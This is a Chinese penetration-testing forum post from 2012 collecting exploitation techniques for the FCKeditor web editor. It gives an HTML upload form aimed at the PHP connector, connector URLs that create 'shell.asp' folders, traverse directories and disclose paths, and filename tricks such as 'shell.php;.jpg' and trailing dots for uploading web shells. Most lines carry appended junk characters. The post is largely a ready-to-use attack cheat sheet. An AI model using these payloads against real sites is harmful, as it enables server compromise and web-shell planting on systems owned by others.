中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  - d8 S) @5 K4 D# ~& L9 O, L: k
查看编辑器版本
! J+ V8 i) R* h7 @/ zFCKeditor/_whatsnew.html
" Z: ?* k, M- Q* `3 W9 F8 U—————————————————————————————————————————————————————————————
/ `# g% j  M, l$ U8 s/ [* H" Q8 X3 E! Z2 b
2. Version 2.2 版本0 O1 s* X: m2 }5 M7 h) m
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
' e# ?# O( u+ J2 ^6 G) Q& _6 l' W—————————————————————————————————————————————————————————————
& c; O% B: J( _" P; b9 ~0 t; |- X8 p# J  Q& |8 k
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。' I) j) x6 d. ^. _  H% X" m
<form id="frmUpload" enctype="multipart/form-data"8 W- G, G5 t9 E# Z
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>5 ]$ H# y- n/ Y2 z" ]( \. h4 ~. ?
<input type="file" name="NewFile" size="50"><br>
7 D' s. \" p5 M! }' w2 u2 |! ?<input id="btnUpload" type="submit" value="Upload">1 k. |9 j8 |: o# s/ G$ E9 f
</form>% d9 U5 K7 ]9 D! z
—————————————————————————————————————————————————————————————! |+ x' h" |) Y2 F8 k) Y
* v2 [6 K7 j" M8 f% f1 O& d
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法& c8 f$ ?0 h% y, {* q
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
% g% F" f; h0 I3 |: {# u    4.1:提交shell.php+空格绕过
& {; c. E9 l% h/ e! |9 T不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
. _7 k+ v5 {) p# B    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
& E8 q- r, v' u% n/ ?—————————————————————————————————————————————————————————————% @1 s+ m( D( L. v
3 P4 Q1 M+ ~% Q
5. 突破建立文件夹: y( H2 |1 ?3 m& l- _9 a
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684" u2 Q4 |( ?4 E4 k6 |2 ]
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp  L1 @0 u0 N6 D) n' U* d* [
—————————————————————————————————————————————————————————————
6 o7 Y- D% V+ e7 ]* s) @: I/ E7 U4 o6 S* X
6. FCKeditor 中test 文件的上传地址
9 D+ E5 w- r6 P  KFCKeditor/editor/filemanager/browser/default/connectors/test.html
" Q# m1 N; x% I$ t0 EFCKeditor/editor/filemanager/upload/test.html
# V* S" n6 K, T, X. h3 _7 z0 ZFCKeditor/editor/filemanager/connectors/test.html/ K# b; G2 m5 T# H/ E( S0 w
FCKeditor/editor/filemanager/connectors/uploadtest.html  P8 k0 C$ N( g+ {
—————————————————————————————————————————————————————————————9 V; y1 n- A3 X

# f. I) @7 O: b! G6 @7.常用上传地址6 R4 G7 X% T  v  ]+ w
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
0 C, J2 `4 y* T2 {/ K( EFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
  R) V4 Q8 L$ U' O3 v; jFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
' }) _0 L/ k; a) p" yJSP 版:' u$ e+ v- |+ c: C
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp3 p. I! D# K5 F  R4 K
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
& P  P* ?! S0 _/ M5 z! F, t9 ~& W6 R件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
3 Y, X- A' e9 \! k—————————————————————————————————————————————————————————————9 D1 k  Y. ~, n

; l  Q+ L5 e9 Q4 T. h% f8.其他上传地址, d5 X: C: m0 x7 H7 ?; Z
FCKeditor/_samples/default.html( [# ~* O" |. Y- t8 @% t
FCKeditor/_samples/asp/sample01.asp
- K2 F$ v4 U! [1 f. u2 I. V/ H: p6 |FCKeditor/_samples/asp/sample02.asp* Y; W5 D& `) z1 E, G* _# |5 ~
FCKeditor/_samples/asp/sample03.asp
4 v, Z; F5 V! y5 ^' JFCKeditor/_samples/asp/sample04.asp
# g- ?  S% ]7 S) w- _/ w1 s9 q, R一般很多站点都已删除_samples 目录,可以试试。
3 Y& J4 x# h* H! }; q1 ^# @  \9 {FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。- o9 A3 h1 H' P' N  w* l
—————————————————————————————————————————————————————————————
( {/ C, m- ?/ j, T6 v  N
1 V! S; R7 M6 Y9.列目录漏洞也可助找上传地址
) l: B. b7 B" N5 ]* L) GVersion 2.4.1 测试通过
0 F2 H  n+ K2 I+ q3 l修改CurrentFolder 参数使用 ../../来进入不同的目录
3 d& T+ b. [* X3 w7 n% F. y/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp' M6 o8 o  S0 A
根据返回的XML 信息可以查看网站所有的目录。* R+ H2 l) u/ J; J
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
) g, x& z$ R+ ]% V: \$ v/ a& b6 Z- F也可以直接浏览盘符:  Y* J6 y9 ?/ q! N6 A
JSP 版本:$ D9 z  \7 |% Z1 n1 w
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F4 m  {; L7 g( {: h; k6 T
—————————————————————————————————————————————————————————————
6 ~+ {" w- T1 r* Q2 P0 V8 h+ n. N8 C  T, C$ y3 J- b
10.爆路径漏洞" t5 f' B4 c- S8 S& N$ ~
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp2 }3 p& Y0 E/ g% E
—————————————————————————————————————————————————————————————
5 s( w9 p- S: D/ G0 J. D! C# Y# d! R6 q) X
11. FCKeditor 被动限制策略所导致的过滤不严问题" J3 b9 @' E8 w
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ ?: L( L( I) X脆弱描述:* G/ ]( R- u" c% Y. U3 {
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
, S- k4 o. ?( Y7 ~# d0 _3 chtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm! I# [% z" k  [5 |
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!" y. q% D1 C* Q; f2 W
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。" p# I% |' p+ P. B$ v6 S
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!6 M; l3 T/ c3 P: y* c
—————————————————————————————————————————————————————————————
0 P7 U7 _; \2 n7 u# A9 c8 S, V. i& m" W0 P0 ?( m
12.最古老的漏洞,Type文件没有限制!
8 j( f; X$ X8 z        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! , y. C, k( e8 X' O$ y6 i% _
—————————————————————————————————————————————————————————————
5 s0 g( b' g( ?
$ Q. u  H9 A! ~& t' e===============================================================================================================================================. `7 |. M; A8 M7 R  ]! n
* W& e8 d. a, ~
FCK编辑器jsp版本漏洞:
2 s& Z0 f4 J$ ?2 P; m3 G% ?  [1 i: x3 `" r+ d3 d) V' M
7 y: V! O) `# z1 e
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F0 p2 ^* P1 Q/ _: g2 n
9 N# |$ i4 r7 |) q+ o; i
上传马所在目录3 D& v' P! e. }9 N; w" W1 {
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/" f! n9 q6 q' ~. f
上传shell的地址:8 v% x* z' D( @6 P
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
2 ?/ w8 @: k3 a6 W跟版本有关系.并不是百分百成功. 测试成功几个站.+ a/ j3 v. }( o
不能通杀.很遗憾.2 ?. _. W5 a+ o( K% b2 R
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 A, G/ j3 v- m5 Z% N1 g如果以上地址不行可以试试
. i2 k# ^) m  RFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
7 W8 O" J' ^0 F. @% CFCKeditor/_samples/
3 N, g: a7 l" X) M0 f# TFCKeditor/_samples/default.html' w  I" F3 `) m' `1 o0 L7 X3 N
FCKeditor/editor/fckeditor.htm
3 i; ^5 @) F$ cFCKeditor/editor/fckdialog.html
  Q' E& R. C. i8 x" @$ F9 r! I- |# Q. J8 W6 H

: V# a8 S5 P( s* x5 X; B  d9 @3 ]2 T/ u) G4 `* N  c% u8 i
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
+ x5 E! V! `) d" T/ L+ w  J. U




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2